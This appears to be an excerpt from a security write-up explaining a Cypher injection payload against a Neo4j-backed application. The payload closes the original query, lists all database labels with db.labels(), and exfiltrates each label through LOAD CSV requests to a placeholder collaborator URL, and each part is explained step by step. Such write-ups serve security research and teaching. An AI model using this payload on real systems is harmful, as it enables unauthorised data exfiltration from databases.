## Example
`.*' | o ] AS filteredOrganisations CALL db.labels() YIELD label LOAD CSV FROM 'http://<collaborator-url-here>/' + label AS r //`
> **Explanation of the payload**
`.*' | o ] AS filteredOrganisations`
This whole part was to close the current query partially. The above part partially closed the current query and helped adding new clauses to the original query.
`CALL db.labels() YIELD label`
The CALL clause is used to evaluate a subquery, here the subquery is calling db.labels(), a built-in procedure which returns a list of all labels used in the database. YIELD clause stores the returned list in the variable “label”.
`LOAD CSV FROM 'http://<collaborator-url-here>/' + label AS r //`
LOAD CSV is a clause used to load a csv file from a user defined location via the FROM keyword. Here the LOAD CSV makes a request to our burp collaborator client appending one element of the list “label” at a time. As a result multiple requests were sent to my burp collaborator client and all requests had different label names appended to the requested endpoint. The end part AS r was only used because the query was breaking constantly without it, all it does is loads the csv file as “r” and the final two forward slashes // were used to comment out the rest of the query in the same line.
